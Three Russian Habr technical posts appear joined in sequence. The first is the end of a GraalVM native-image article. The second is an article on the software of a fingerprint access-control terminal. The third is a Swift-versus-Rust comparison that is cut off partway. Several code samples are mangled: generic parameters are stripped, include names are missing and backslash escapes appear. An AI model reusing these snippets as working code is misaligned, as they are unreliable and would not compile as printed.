Отдельно стоит поговорить про несколько неудачный опыт создания нативных образов. В тех случаях, когда используются и смешиваются несколько языков программирования, их формирование превращается в пытку. Забегая вперёд сообщу, что для маленького прототипа, который был описан в статье выше, в его нативном образе [удалось заставить](https://github.com/EXL/CodePolyglot#recipe-build-prototype-native-image-experimental "Рецепт сборки нативного образа прототипа, репозиторий сервиса Code Polyglot на GitHub") работать лишь библиотеку Highlight.js вкупе с JavaScript. При попытке добавления других языков программирования автономный исполняемый файл раздувался совсем уж до неприличных размеров в 500 MB и отказывался видеть не только сторонние батарейки, но и стандартные библиотеки Python и Ruby. Копание в переменных окружения и флажках сборки исправило пару проблем, но удобоваримого результата у меня так и не получилось. К тому же, нельзя не упомянуть продолжительное время AOT-компиляции (порядка 10-15 минут), значительное потребление RAM (порядка 20 GB) и ресурсов CPU в процессе сборки.
Если с такими проблемами создания нативного образа я столкнулся на простейшем прототипе, то что уж говорить о моих тщетных попытках преобразования всего сервиса в автономный исполняемый файл. В экосистеме Spring совсем недавно появился экспериментальный проект [Spring Native 0.8.5](https://github.com/spring-projects-experimental/spring-graalvm-native "Spring Native для GraalVM, официальный репозиторий на GitHub"), позволяющий формировать нативные образы сервисов использующих библиотеки Spring. Оригинальные версии Java-библиотек, которые не работают должным образом под Substrate VM, вырезаются или подменяются на патченные, например, в их число входит встраиваемый веб-сервер [Tomcat](https://tomcat.apache.org/ "Tomcat, официальный сайт"). При этом при сборке нужно ещё сделать некоторые ухищрения и телодвижения вроде правильной настройки [Hibernate](https://hibernate.org/ "Hibernate, официальный сайт"), подгрузки конфигурационного JSON-файла с описанием некоторой рефлексии и расстановки обязательных флажков для утилиты **native-image**, которая формирует нативные образы. В качестве системы сборки в Spring Native используется [Maven](https://maven.apache.org/ "Maven, официальный сайт"), так как поддержка [Gradle](https://gradle.org/ "Gradle, официальный сайт") находится ещё на начальном этапе развития. В общем, всё выглядит слишком экспериментальным и сырым. В итоге мне [удалось добиться](https://github.com/EXL/CodePolyglot/tree/native_image#recipe-build-code-polyglot-native-image-experimental "Рецепт сборки нативного образа сайта, репозиторий сервиса Code Polyglot на GitHub") корректной сборки нативного образа, но без поддержки каких-либо сторонних языков программирования кроме тех, что доступны на JVM-платформе. При попытках их добавления процесс зависал и ничего полезного так и не происходило в течении 30 минут, после чего я просто останавливал задачу. Далее, при запуске исполняемого файла сыпались ошибки встраиваемого языка [SpEL](https://docs.spring.io/spring-framework/docs/current/reference/html/core.html#expressions "Язык SpEL, официальная документация Spring Core") в шаблонах Thymeleaf и я пока отступил от решения этой проблемы.
Для себя я сделал вывод, что AOT-компиляция может быть интересной в том случае, если в проекте не задействован Polyglot API, не смешано множество языков программирования и сервис используется как [back-end](https://en.wikipedia.org/wiki/Front_end_and_back_end "Front end и back end, страница в Wikipedia") к чему либо. Вместо Spring для AOT пока лучше использовать более легковесный Quarkus, который как раз опирается на возможность формирования нативных образов в GraalVM. А для проектов, которые используют множество языков и серверные HTML-шаблонизаторы, неплохо работает традиционный подход с JIT-компиляцией и запуском на JVM.
Версии реализаций языков программирования и технологий доступных на платформе GraalVM 20.3.0:
* Java 8 (1.8.0\_272), Java 11 (11.0.9)
* JavaScript ES2020 (ES11)
* Ruby 2.6.6
* Python 3.8.5
* R 3.6.1
* LLVM 10.0.0
Некоторые полезные ссылки:
1. [Платформа GraalVM](https://www.graalvm.org/ "Официальный сайт платформы GraalVM").
2. [Документация GraalVM](https://www.graalvm.org/docs/ "Официальная документация GraalVM").
3. [Фреймворк Spring](https://spring.io/ "Официальный сайт фреймворка Spring").
4. [Библиотека Pygments](https://pygments.org/ "Официальный сайт библиотеки Pygments").
5. [Библиотека Rouge](http://rouge.jneen.net/ "Официальный сайт библиотеки Rouge").
6. [Библиотека Highlight.js](https://highlightjs.org/ "Официальный сайт библиотеки Highlight.js").
Надеюсь, мой опыт и эта статья будут полезны тем, кто когда-нибудь заинтересуется платформой GraalVM и её возможностями по использованию множества языков программирования в одном окружении.
P.S. Искренне поздравляю посетителей ресурса «Хабр» с наступающим 2021 годом, желаю вам ребята исполнения всех ваших желаний и крепкого сибирского здоровья!
P.P.S. Благодарю пользователя [zorgrhrd](https://habr.com/ru/users/zorgrhrd/) за поддержку! Без него эта статья никогда бы не появилась на свет.
*Update 07-Jan-2021:* В некоторых комментариях сотрудников GitHub нашлась интересная информация. Та проприетарная библиотека, которая вот уже шесть лет используется ими для подсветки синтаксиса, называется **PrettyLights** и её исходный код до сих пор не может быть открыт из-за проблем с лицензированием бюрократического толка, хотя работы в этом направлении ведутся. Возможно библиотека написана на каком-нибудь компилируемом языке программирования, вроде [«C»](https://en.wikipedia.org/wiki/C_(programming_language) "Язык программирования 'C', страница в Wikipedia"), дабы обеспечить высокую скорость обработки больших объёмов кода от огромного количества пользователей сервиса. Кроме того, имеется интересная информация о тщательном аудите библиотеки Pygments, которую они использовали ранее. Аудит не выявил никаких проблем с безопасностью. Подробнее можно почитать по этим ссылкам: [[1]](https://github.com/github/pages-gem/pull/79#issuecomment-85997762 "Комментарии о PrettyLights от vmg"), [[2]](https://github.com/github/pages-gem/issues/160 "Вопрос по разработке Prettylights"), [[3]](https://github.com/github/markup/issues/1266#issuecomment-483935164 "Комментарии о PrettyLights от kivikakk").
[*<< Перейти к содержанию*](#article-content) | https://habr.com/ru/post/534044/ | null | ru | null |
# Создание терминала для СКУД и УРВ. Часть 2
Всем доброго времени суток! В этой статье мы подробнее остановимся на ПО терминала учета рабочего времени и контроля доступа, о разработке которого я писал в [прошлой статье](https://habr.com/ru/post/563814/). Данная статья является логическим продолжением, т.к. в прошлой статье я рассматривал всё железо терминала, поэтому настоятельно рекомендую ознакомиться для дальнейшего понимания написанного.
**Вкратце**: по заказу клиентов нужно было разработать терминал учета рабочего времени (с возможностями СКУД), который бы фиксировал временные интервалы сотрудников (как рабочие, так и перерывы) по отпечатку пальца. Получаемая информация, в свою очередь, формировалась бы в отчеты и табели в аналитическом облачном сервисе TARGControl. “Железо” уже готово, осталось дело за малым - разработать ПО для нашего терминала.
**Общие требования к ПО терминала:**
1. Работа с системой TARGControl Cloud.
2. Выбор на дисплее событий доступа (причины входа/выхода) сотрудниками.
3. Принятие решений о допуске/не допуске сотрудников на рабочее место.
4. Хранение базы данных с сотрудниками, идентификаторами и информации о проходах.
5. Фотофиксация сотрудников.
6. Рассылка уведомлений.
7. Удобный интерфейс для работы и настройки устройства.
**Что нам понадобится для этого:**
1. Подготовить и сконфигурировать операционную систему под наши нужды.
2. Выбор, установка и конфигурирование фреймворка GUI.
3. Разработка архитектуры ПО.
4. Выбор, установка и настройка СУБД
5. Разработка микросервисов.
6. Выбор фреймворка для разработки WEB-интерфейса.
Вот примерный перечень задач, которые нам необходимо решить для реализации данного проекта. Следует уточнить, что перечень задач - не последовательность действий, а совокупность, выполняемая параллельно.
Терминал в ожидании своего ПО**Вкратце пробежимся по инструментам, которые нам понадобятся для разработки.**
Начнем по порядку - операционная система нашего одноплатного компьютера, который мы выбрали в прошлой статье (*Raspberry PI CM3+) ,* конечно же, **Raspberry Pi OS** (ранее Raspbian). Что касается настроек ОС, в первую очередь мы установим Python. На момент разработки использовалась версия 3.6. Также зарезервируем swap для расширения оперативной памяти (предпочтительно для версии **Raspberry** с EMMC).
Очень важно продумать грамотную архитектуру взаимодействия сервисов составляющих ПО. Определим примерную модель взаимодействия на следующей схеме.
Модель взаимодействия микросервисовКак видно из схемы, ПО разделено на множество отдельных микросервисов. Такая архитектура позволяет построить надежную систему - при выходе из строя одного из компонентов работоспособность системы не нарушится. Также такая архитектура позволяет легко добавлять новые микросервисы в дальнейшем, что делает такую систему расширяемой.
Что касается, сервисов, то их подавляющее большинство будут реализованы на *Python3*.
Также нам необходимо спроектировать “мозг” нашего ПО, который бы принимал логические решения на основании состояния прочих сервисов и выдавал конечный результат (итог работы). Проще говоря, нам нужно было создать логическое ядро, которое будет решать, пускать человека на работу или не пускать, при этом отдавать команды прочим сервисам. Что касается “прочих сервисов”, в их число входят сервисы *обработки и управления считывателями, управления замками и турникетами, получение данных с систем алкотестирования и видеонаблюдения, датчиков открытия и закрытия двери, кнопок выхода и кнопок пожарной эвакуации.*
Разумеется, такая система оперирует большими потоками данных, часть из которых необходимо хранить на постоянной основе. Из этой потребности вытекает, что нам просто необходим сервис управления базой данных. К слову, в качестве СУБД будем использовать объектно-реляционную *PostgreSQL*. Здесь можно очень долго обсуждать, почему именно она, а не, например, *MySQL*, однако на момент разработки, по нашему мнению, PostgreSQL была более функциональной... Сервис управления базами данных организован таким образом, что у нас всегда будет хранится слепок основной информации из БД в кэше сервиса для быстрого доступа к этим данным.
Также наша система должна иметь возможность работы с серверными решениями TARGControl (облачной либо локальной *УРВ-системой*, куда и выгружаются временные интервалы с терминала). Отсюда вытекает реализация отдельного сервиса синхронизации с TARGControl. Сразу обмолвимся, что терминал изначально и создавался, как один из инструментов работы с TARG.
Для удобства работы с системой, ее управлением и конфигурированием мы реализуем WEB-интерфейс терминала.
Для облегчения работы логического ядра и коммуникации между сервисом также реализуем несколько побочных микросервисов для управления маршрутизацией, идентификацией и обработкой событий перед сохранением в БД.
**Разработка**
А теперь подробнее о самой разработке. Основные сервисы ПО TARGControl мы реализовали на базе Raspberry на Python3, в число этих сервисов входит: логическое ядро системы, сервис синхронизации с облаком TARG, сервис управления БД, а также большинство сервисов управляющих периферией (замки, кнопки и прочие). Можно также отметить, что здесь была задействована работа с *GPIO* (*general-purpose input/output*).
Думаем вопрос, почему мы используем Python не возникнет, однако ответ на него достаточно прост. Главное преимущество, что на текущий момент данный язык позволяет быстрыми темпами дорабатывать новый функционал, что является ключевым преимуществом при разработке гибких систем.
Как видно из описанной ранее структуры, система представляет из себя набор сервисов на Python, обмен данными между которыми происходит посредством **ZeroMQ**. Почему именно ZeroMQ, а не, например, *RabbitMQ*?
* Легковесность - фактически надстройка над Socket.
* Позволяет использовать *Linux Socket*, которые очень быстрые.
* Позволяет сделать любую систему маршрутизации.
* Итого эта библиотека позволяет быстро и удобно обмениваться данными между сервисами, а также синхронизировать потоки внутри сервисов. Подробнее о zmq можно почитать [здесь](https://habr.com/ru/post/483586/).
К сожалению, не все необходимые сервисы можно написать на Python, некоторые из них, требующие особого быстродействия, например, такие как интерфейс *Wiegand*. Глобальная блокировка интерпретатора (GIL), лежащая в основе интерпретатора Python, а также процессы Linux (особенно при высокой загрузке) не позволяют обеспечить необходимые временные интервалы стандарта интерфейса Wiegand, поэтому данный сервис был реализован на языке **C** и собран в качестве драйверного модуля ядра **Linux**. Для реализации этого модуля использовались следующие библиотеки:
```
#include
#include
#include
#include
#include
#include
#include
#include
#include
```
В качестве способа взаимодействия мы прибегли к архитектурному стилю *REST API*, эта архитектура позволит нам реализовать собственное управление посредством веб-интерфейса, а также передать внешний API для сторонних разработчиков, которые пожелают интегрировать устройство в работу своей системы. Для этого мы выбрали WEB-фреймворк **Flask**, т.к он предоставляет простоту и гибкость в работе, позволяя пользователю самому выбирать, как реализовать те или иные вещи + архитектура REST API лежит в основе Flask. К слову, ближайший конкурент Flask - *Django* сразу предлагает решения “из коробки”, что для данной задачи не совсем подходит. Однако не будем разбираться, какой из этих фреймворков лучше.
Для реализации WEB-интерфейса системы выбор пал на популярнейший из фреймворков **Angular**. Одной из ключевых особенностей в выборе этого фреймворка стал язык программирования *TypeScript*. Статическая типизация позволяет в дальнейшем избежать критических ошибок (или хотя бы минимизировать их). Также он удобно документируется и отлично приспособлен для работы с вышеупомянутым Flask.
Для маршрутизации бэка и фронта для дестрибутива Linux наиболее подходящим web-сервером будет *nginx*.
Стабильную бесперебойную работу сервисов поддерживает супервизор **runit-systemd** - daemon-сервис. Почему не init, спросите вы? Нам не нужно было контролировать все процессы запуска, нужен был лишь результат и корректная работа, с чем runit-systemd справляется на отлично (почитать подробнее можно [здесь](https://habr.com/ru/post/83775/)).
В итоге “скрещивания” всех вышеупомянутых сервисов и инструментов мы получили работоспособный продукт - терминал/контроллер TARGControl.
Рады представить вам результат нашей плодотворной работы (усердной, упорной).
Вкладка СтатусРассмотрим подробнее WEB терминала, изучив подробнее функционал терминала. Как мы видим, здесь есть следующие вкладки:
1. **Статус** - в данной вкладке мы можем увидеть все данные о состоянии терминала, его конфигурацию и журнал ошибок.
2. **Сотрудники** - здесь отображаются все сотрудники и их идентификаторы (отпечатки пальцев, RFID или PIN), которых вы добавили в базу устройства. При использовании облака TARGControl сотрудники и их идентификаторы автоматически подгрузятся в базу терминала.
3. **Пропуска** - здесь мы можем создать пропуска для сотрудников, которые имеют ограниченное кол-во использований и срок действия.
4. **Инструктажи и справки** - создание документов для сотрудников. Актуально, если на рабочее место нужно пропускать сотрудников, которые имеют, например, действующую мед справку.
5. **Журнал событий** - отчет по всем проходам сотрудников.
6. **Отчет** - отчет по отработанному времени сотрудников и их нарушениям. Более расширенные отчеты можно просмотреть в TARGControl Cloud, куда и подгружаются данные с терминала.
7. **Охрана** - здесь отображаются все проходы, выполняемые через терминал. В данном случае проходил идентификацию Сотрудник 1 и несколько раз "отмечался" неизвестный сотрудник. (Общение между фронтендем и бэкендем построено с помощью использования WebSocket, что позволяет нам в режиме реального времени отображать актуальную информацию о работе системы).
8. **Настройки** - самая важная вкладка, где мы сможем настроить терминал. Как мы видим на скриншоте, в WEB мы реализовали настройки терминала, которые позволят гибко настроить многие вещи, такие как:
1. *Настройка времени терминала* (NTP и ручное).
2. *Настройки встроенной камеры терминала* (качество фото, разрешение и момент срабатывания).
3. *Конфигурирование* встроенных считывателей, замков, турникетов, действий при пожарной тревоге и различных периферийных устройств (алкотестеры, внешние считыватели и др.)
4. *Общие настройки* терминала: метод учета времени, включение новостей на терминале, ограничение на количество хранимых фотографий, о чем упоминалось в прошлой статье, и др.
5. *Отладочные логи* - все логи, сохраняемые на терминале с момента его запуска.
6. *Настройки синхронизации* с облаком TARGControl.
7. *Настройка уведомлений* (email, http).
8. Создание различных *учетных записей* для входа на терминал. По умолчанию admin и user.
9. *Email* - настройка SMTP-сервера для рассылки уведомлений на почту.
10. *Ethernet* -базовые настройки Ethernet. Включение или отключение DHCP.
11. *IP-камеры* - Настройка IP-камер, Ethernet, выходного Wiegand и др
12. *Wiegand Out* - настройка конфигурация выходного Wiegand и его длины кода.
В общем, возможностей действительно много. WEB-интерфейс это хорошо, но у нас терминал с дисплеем, поэтому было бы неплохо на нем что-нибудь показывать. Так как ОС нашего устройства Raspberry Pi OS, то есть дистрибутив Linux, мы решили, что наиболее подходящим фреймворком для построения графических интерфейсов будет **QT**, который позволяет удобно разрабатывать на машине под Linux и посредством кросс-компиляции отлаживать проект на устройстве. Собственно, результат работы на картинке ниже.
1. В ожидании идентификации. 2. Статус. 3. Выбор события доступаПри включении терминала мы столкнемся с экраном 1 - Ожидание идентификатора. После успешного распознавания (с помощью карты, отпечатка либо PIN), нам предложит выбрать событие доступа - экран 3.
Просмотреть краткую информацию об устройстве вы можете во вкладке Статус (экран 2). Также с помощью терминала вы можете зарегистрировать отпечатки пальцев, RFID-карты либо задать PIN сотрудникам, которые есть в базе устройства.
Для автоматизации сборки новых версий ПО используем систему сборки **Jenkins***.* Помимо терминала, у нас есть и контроллеры для СКУД, которые имеют общую базу микросервисов, однако некоторые из них отличаются. Поэтому сборка прошивок осуществляется при помощи разных конфигураций Jenkins.
Для обновления ПО на терминале реализован сервис на Python. Само обновление может происходить как через веб-интерфейс терминала, так и через облако TARGControl (конечно, при его использовании).
Для интеграции с внешними системами можно использовать выходной интерфейс Wiegand. Для интеграции же с другими системами можно использовать уведомления посредством http-запросов, а для глубокой интеграции с терминалом (контроллером) у нас открыт API, изучить подробнее можно здесь: [Swagger UI](https://api-controller.targcontrol.com/). Так же существует возможность отправлять уведомления на почту, для этого реализована настройка SMTP-сервера, что показывал ранее в разделе настроек.
Итого, как было упомянуто выше, терминал синхронизируется с облаком нашей системы учета рабочего времени TARGControl.
Настройка синхронизации с облакомЧтобы подключить его к облаку, заходим в WEB-интерфейс терминала - в Настройки, и во вкладке Сервер, выбираем тип облака, в нашем случае TARGControl Cloud (если ПО развернуто на локальном сервере, прописывает его IP), вводим саму учетную запись с паролем (данные, которые указывали при регистрации в TARGControl) и указываем время синхронизации. Готово. После этой несложной операции события, регистрируемые данным терминалом, будут загружаться на облаке.
Проходы через терминал загрузились на облако. Здесь же видим, что использовалась идентификация по отпечатку пальца.Теперь, когда терминал и облако синхронизированы, совершенно вся информация передается из терминала в TARGControl Cloud. Это касается не только временных интервалов и проходов, но и результатов *алкотестирования, весоизмерения, ошибок, связанных с идентификаций и др*. Все данные можно удобно структурировать с помощью различных отчетов (за период, по затратам времени на определенный вид работ, по нарушениям, по объектам и т.д.). То есть облачный сервис представляет собой систему, занимающейся аналитикой всех полученных данных с устройств. При этом все данные, внесенные на облако, будут подгружены и на терминале.
В заключение вынесем тезисно следующие функции, предоставляемые терминалом D1:
1. Разработан удобный WEB-интерфейс для конфигурирования терминала.
2. На терминале реализован графический интерфейс для взаимодействия сотрудников с устройством.
3. Поддержка нескольких способов идентификации - биометрия по отпечатку пальцев, RFID-карты и вход по PIN-коду.
4. Работа терминала как контроллера. То есть может использоваться для построения полноценного СКУД.
5. Фотофиксация событий и хранение фотографий на контроллере. При синхронизации с TARGControl все фото залетают на облако, где их и можно просмотреть, не подключаясь к самому контроллеру. (О совместной работе терминала и облака расскажу в следующей статье).
6. Фиксация событий доступа на терминале (проходы, выбор событий на дисплее, нажатие кнопки). События также загружаются на облако.
7. Возможность подключения алкотестеров, считывателей, IP-камер и других устройств.
8. Создание уведомлений.
9. И многие другие функции, которые работают при совместной работе с системой УРВ (отчеты, табели, учет времени по рабочим графикам и т.д. ).
Бесконечно много можно говорить о терминале, или как говорил пластиковый космонавт, борец с преступностью Базз Лайтер - “Бесконечность не предел”. Поэтому, если будет спрос, в следующей статье опишу разработку терминала как можно подробнее (от конфигурирования настроек до исходного кода). Статья получилась большая, но можно еще больше...
В случае возникновения вопросов или критических замечаний, прошу последовать в комментарии для бурного ~~осуждения~~ обсуждения! | https://habr.com/ru/post/592297/ | null | ru | null |
# Сравниваем Swift и Rust
Поводом для написания статьи стала публикация исходного кода языка Swift — мне стало интересно поближе познакомиться с ним. В глаза сразу же бросилась схожесть синтаксиса с другим молодым языком программирования под названием Rust, к тому же за схожими синтаксическими конструкциями просматривалась и схожая область применения этих языков. Оба языка имеют сильную статическую типизацию с локальным выводом типов, оба компилируются напрямую в машинный код. И тот и другой языки впитали в себя многие приемы из мира функционального программирования. И Swift и Rust имеют средства для запуска кода, написанного на C, что позволяет без труда писать обертки над огромным количеством библиотек. Оба языка рассматриваются как замена существующим системным языкам типа C, C++, ObjectiveC. Так что же в них общего, а что различается?
#### Основы синтаксиса
Сразу оговорюсь, что я не пытаюсь рассказать читателям основы сразу двух языков программирования, если что-то неясно, то рекомендую обратиться за помощью к [Rustbook](http://kgv.github.io/rust_book_ru/) или [Swiftbook](http://swiftbook.ru/).
Для начала давайте попробуем сравнить простейшие программы:
**Rust**
```
fn main() {
let i:i32 = 16;
let mut f = 8.0;
f *= 2.0;
println!("Hello Rust! within vars {} and {}", i, f);
}
```
**Swift**
```
let i:Int = 10
var f = 15.0
f /= 2
print("Hello Swift within vars \(i) \(f)")
```
Можно заметить, что let и там и там означает одно и тоже, а ключевое слово var в Swift аналогично комбинации let mut в Rust. Но имеются и различия: в Rust во всех числовых типах однозначно указывается размер, а Swift же следует традициям Си. В этом вопросе Rust выглядит более низкоуровневым.
Интерполяция строк в Rust'е делается при помощи макроса format!, который вызывается в недрах println!, а в Swift'е же это фича самого языка, но при этом я не нашел в документации способов задать опции форматирования.
Интересна разница в трактовании ";": для Rust'а это признак окончания выражения, что позволяет делать некоторые изящные вещи, например последнее выражение внутри функции автоматически становится возвращаемым значением. Swift же просто следует традициям pascal'я, где точка с запятой просто разделяет операторы, находящиеся на одной строке.
Теперь давайте попробуем создать функцию, которая принимает функцию от двух аргументов и преобразует ее в функцию от одного:
**Rust**
```
fn apply(f: F, v1: i32) -> Box ()>
where F: Fn(i32, i32) -> ()
{
Box::new(move |v2| f(v1, v2))
}
fn print\_sum(a: i32, b: i32) -> ()
{
println!("Rust: sum a and b is {}", a + b);
}
fn main() {
let a = 2; let b = 5;
print\_sum(a, b);
let f = print\_sum;
let f2 = apply(f, b);
f2(a);
}
```
**swift**
```
func apply(f: (_: Int, _: Int) -> (), _ v1: Int) -> (_: Int) -> ()
{
return {(c: Int) -> () in
return f(v1, c)
}
}
func print_sum(a: Int, second b: Int) -> ()
{
print("Swift: sum a and b is \(a+b)")
}
let a = 2; let b = 5;
print_sum(a, second:b)
let f2 = apply(print_sum, b)
f2(a)
```
Здесь уже явно заметны различия, я оставлю за бортом чисто синтаксические отличия типа внешних имен у именованных параметров в Swift или обобщений в Rust, и перейду к рассмотрению более существенной разницы. Подход Swift заметно более высокоуровневый: компилятор сам решает каким образом хранить нашу результирующую функцию, для Rust же пришлось её явно упаковывать в box, потому, что moved замыкания являются безразмерным типом.
Давайте проверим, чьи же лямбда функции работают быстрее:
**Код бенчмарков****Rust**
```
fn apply(f: F, v1: i32) -> Box i32>
where F: Fn(i32, i32) -> i32
{
Box::new(move |v2| f(v1, v2))
}
fn make\_sum(a: i32, b: i32) -> i32
{
a + b
}
fn main() {
let a = 2; let b = 5;
let c = make\_sum(a, b);
println!("Rust: c is {}", c);
let f2 = apply(make\_sum, b);
let mut d = 0;
for i in 0..1000000000 {
d = f2(i);
}
println!("Rust: d is {}", d);
}
```
**swift**
```
func apply(f: (_: Int, _: Int) -> Int, _ v1: Int) -> (_: Int) -> Int
{
return {(c: Int) -> Int in
return f(v1, c)
}
}
func make_sum(a: Int, second b: Int) -> Int
{
return a + b
}
let a = 2; let b = 5;
let c = make_sum(a, second:b)
print("Swift: c is \(c)")
let f2 = apply(make_sum, b)
f2(a)
var d = 0;
for i in 0...1000000000 {
d = f2(i);
}
print("Swift: d is \(d)");
```
Итоговый результат: 4.0 секунды у Rust против 1.17 у Swift. Получается, что в случае более абстрактного кода у компилятора появляется больше возможностей для оптимизации, но на канале ruRust/general мне подсказали способ, который может и не выглядит так красиво, но зато позволяет оптимизатору выложится по полной. В конечном счете Rust посчитал весь цикл прямо во время компиляции, что очень круто.
В умелых руках Rust позволяет творить чудеса.
**Код быстрой версии**
```
struct Curry<'a> {
f: &'a Fn(i32, i32) -> i32,
v1: i32
}
impl<'a> Curry<'a> {
fn new(f: &'a F, v1: i32) -> Curry<'a> where F: Fn(i32, i32) -> i32 {
Curry { f: f, v1: v1 }
}
fn call(&'a self, v2: i32) -> i32 {
(\*self.f)(self.v1, v2)
}
}
fn make\_sum(a: i32, b: i32) -> i32
{
a + b
}
fn main() {
let a = 2; let b = 5;
let c = make\_sum(a, b);
println!("Rust: c is {}", c);
let borrow = &make\_sum;
let f2 = Curry::new(borrow, b);
let mut d = 0;
for i in 0..1000000000 {
d = f2.call(i);
}
println!("Rust: d is {}", d);
}
```
#### Перечисления и сопоставление с образцом:
Оба языка имеют большие возможности для сопоставления с образцом, в обоих языках существуют алгебраические типы данных. Давайте попробуем написать простенький пример, использующий эти возможности: попробуем реализовать математические операции. Для этого нам нужно будет сделать наши перечисления рекурсивными. В качестве бонуса попробуем распечатать на экран имена наших операций, используя протоколы(типажи).
**Rust**
```
enum MathOperation {
Value(i32),
Sum(Box, Box),
Mul(Box, Box)
}
trait HasName {
fn name(&self) -> &'static str;
}
impl HasName for MathOperation {
fn name(&self) -> &'static str {
match \*self {
MathOperation::Value(..) => "Value",
MathOperation::Sum(..) => "Sum",
MathOperation::Mul(..) => "Mul"
}
}
}
impl MathOperation {
fn solve(&self) -> i32 {
match \*self {
MathOperation::Value(i) => i,
MathOperation::Sum(ref left, ref right) => left.solve() + right.solve(),
MathOperation::Mul(ref left, ref right) => left.solve() \* right.solve()
}
}
}
fn main() {
let op = MathOperation::Sum(Box::new(MathOperation::Value(10)),
Box::new(MathOperation::Mul(Box::new(MathOperation::Value(20)),
Box::new(MathOperation::Value(2)))));
;
println!("Rust: op is {} solved {}", op.name(), op.solve());
}
```
**Swift**
```
enum MathOperation {
case Value(Int)
indirect case Sum(MathOperation, MathOperation)
indirect case Mul(MathOperation, MathOperation)
func solve() -> Int {
switch self {
case .Value(let value):
return value
case .Sum(let left, let right):
return left.solve() + right.solve()
case .Mul(let left, let right):
return left.solve() * right.solve()
}
}
}
protocol HasName {
func name() -> String;
}
extension MathOperation : HasName
{
func name() -> String {
switch self {
case .Value(_):
return "Value"
case .Sum(_, _):
return "Sum"
case .Mul(_, _):
return "Mul"
}
}
}
let op = MathOperation.Sum(MathOperation.Value(10),
MathOperation.Mul(MathOperation.Value(20),
MathOperation.Value(2)))
print("Swift: op is \(op.name()) solved \(op.solve())");
```
Мы можем заметить, что в Rust для организации рекурсивных перечислений потребовалось упаковать их в контейнер Box, потому, что их размер может быть произвольным и мы не можем знать на этапе компиляции сколько нам для этого потребуется памяти. В Swift для обозначения рекурсивных перечислений используется слово indirect, но учитывая его модель памяти возникает вопрос, разве компилятор сам не в состоянии разобраться с тем как нужно выделать память? По-видимому это ключевое слово введено скорее для человека.
Также мы можем видеть, что impl и extension в принципе выполняют примерно похожую работу, а типажи похожи на протоколы. Но в Swift подход более компромиссный: не обязательно добавлять методы как расширения, их можно указать прямо в объявлении перечисления.
Теперь давайте просто посмотрим на пару примеров сопоставления с образцом:
**Rust** (примеры взяты из Rust by example)
```
match some_value {
Ok(value) => println!("got a value: {}", value),
Err(_) => println!("an error occurred"),
}
enum OptionalTuple {
Value(i32, i32, i32),
Missing,
}
let x = OptionalTuple::Value(5, -2, 3);
match x {
OptionalTuple::Value(..) => println!("Got a tuple!"),
OptionalTuple::Missing => println!("No such luck."),
}
let x = 1;
match x {
1 ... 5 => println!("one through five"),
_ => println!("anything"),
}
let x = 1;
match x {
e @ 1 ... 5 => println!("got a range element {}", e),
_ => println!("anything"),
}
```
**Swift** (код примеров взят из Swiftbook)
```
let count = 3000000000000
let countedThings = "stars in the Milky Way"
var naturalCount: String
switch count {
case 0:
naturalCount = "no"
case 1...3:
naturalCount = "a few"
case 4...9:
naturalCount = "several"
case 10...99:
naturalCount = "tens of"
case 100...999:
naturalCount = "hundreds of"
case 1000...999999:
naturalCount = "thousands of"
default:
naturalCount = "millions and millions of"
}
print("There are \(naturalCount) \(countedThings).")
// выведет "There are millions and millions of stars in the Milky Way."
let somePoint = (1, 1)
switch somePoint {
case (0, 0):
print("(0, 0) is at the origin")
case (_, 0):
print("(\(somePoint.0), 0) is on the x-axis")
case (0, _):
print("(0, \(somePoint.1)) is on the y-axis")
case (-2...2, -2...2):
print("(\(somePoint.0), \(somePoint.1)) is inside the box")
default:
print("(\(somePoint.0), \(somePoint.1)) is outside of the box")
}// выведет "(1, 1) is inside the box
let anotherPoint = (2, 0)
switch anotherPoint {
case (let x, 0):
print("on the x-axis with an x value of \(x)")
case (0, let y):
print("on the y-axis with a y value of \(y)")
case let (x, y):
print("somewhere else at (\(x), \(y))")
}
// выведет "on the x-axis with an x value of 2
```
Здесь в целом всё очень похоже. В сопоставлении не должно быть провалов, можно указывать диапазоны значений, есть возможность привязки значений, можно использовать кортежи в сопоставлении. Хотя Rust также позволяет использовать и целые структуры при сопоставлении. Можно задавать дополнительные условия через if и where, соответственно. Но при этом в Swift есть ещё дополнительные операторы управления потоком. Хотя я и не уверен, что их использование — это хорошая идея.
#### Более реальный пример
Давайте попробуем написать алгоритм растеризации [Брезенхема](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%91%D1%80%D0%B5%D0%B7%D0%B5%D0%BD%D1%85%D1%8D%D0%BC%D0%B0). Только не в обычной форме, а в форме для nмерных векторов и без использования вещественных чисел. Это всё может здорово пригодится при изучении [краткого курса компьютерной графики](http://habrahabr.ru/post/248159/).
Для начала просто попробуем создать 3х мерный вектор и определить для него операции взятия индекса и сравнения:
**Rust**
```
#[derive(Copy, Clone, PartialEq)]
struct Vec3 {
x: i32,
y: i32,
z: i32
}
impl Index for Vec3
{
type Output = i32;
fn index<'a>(&'a self, i: usize) -> &'a Self::Output {
match i {
0 => &self.x,
1 => &self.y,
2 => &self.z,
\_ => panic!("Wrong index"),
}
}
}
impl IndexMut for Vec3
{
fn index\_mut<'a>(&'a mut self, i: usize) -> &'a mut Self::Output {
match i {
0 => &mut self.x,
1 => &mut self.y,
2 => &mut self.z,
\_ => panic!("Wrong index"),
}
}
}
```
**swift**
```
struct Vector3 {
var x: Int;
var y: Int;
var z: Int;
subscript(i: Int) -> Int {
get {
precondition(i >= 0 && i < 3, "Index out-of-bounds")
switch i {
case 0: return self.x
case 1: return self.y
case 2: return self.z
default: return 0
}
}
set {
precondition(i >= 0 && i < 3, "Index out-of-bounds")
switch i {
case 0: self.x = newValue
case 1: self.y = newValue
case 2: self.z = newValue
default: break
}
}
}
}
func == (left: Vector3, right: Vector3) -> Bool {
return (left.x == right.x) && (left.y == right.y) && (left.z == right.z)
}
func != (left: Vector3, right: Vector3) -> Bool {
return !(left == right)
}
```
В Rust'е на самом деле операторы реализуются через типажи, если структура реализует типаж Index, то для нее можно применять оператор [], в Swift'е операторы взятия индекса записываются с помощью ключевого слова subscript и позволяют добавлять специальные предусловия. Rust же полагается на обычные ассерты. В случае же с другими операторами Swift позволяет как переопределять существующие, так и определять свои собственные, причем с указанием приоритетов, ассоциативности. Всё это здорово может помочь при написании математических библиотек, сделав код более похожим на исходные математические выражения. Rust же умеет автоматически создавать реализации некоторых типажей через атрибут derive, что позволяет не писать код самому во многих тривиальных случаях.
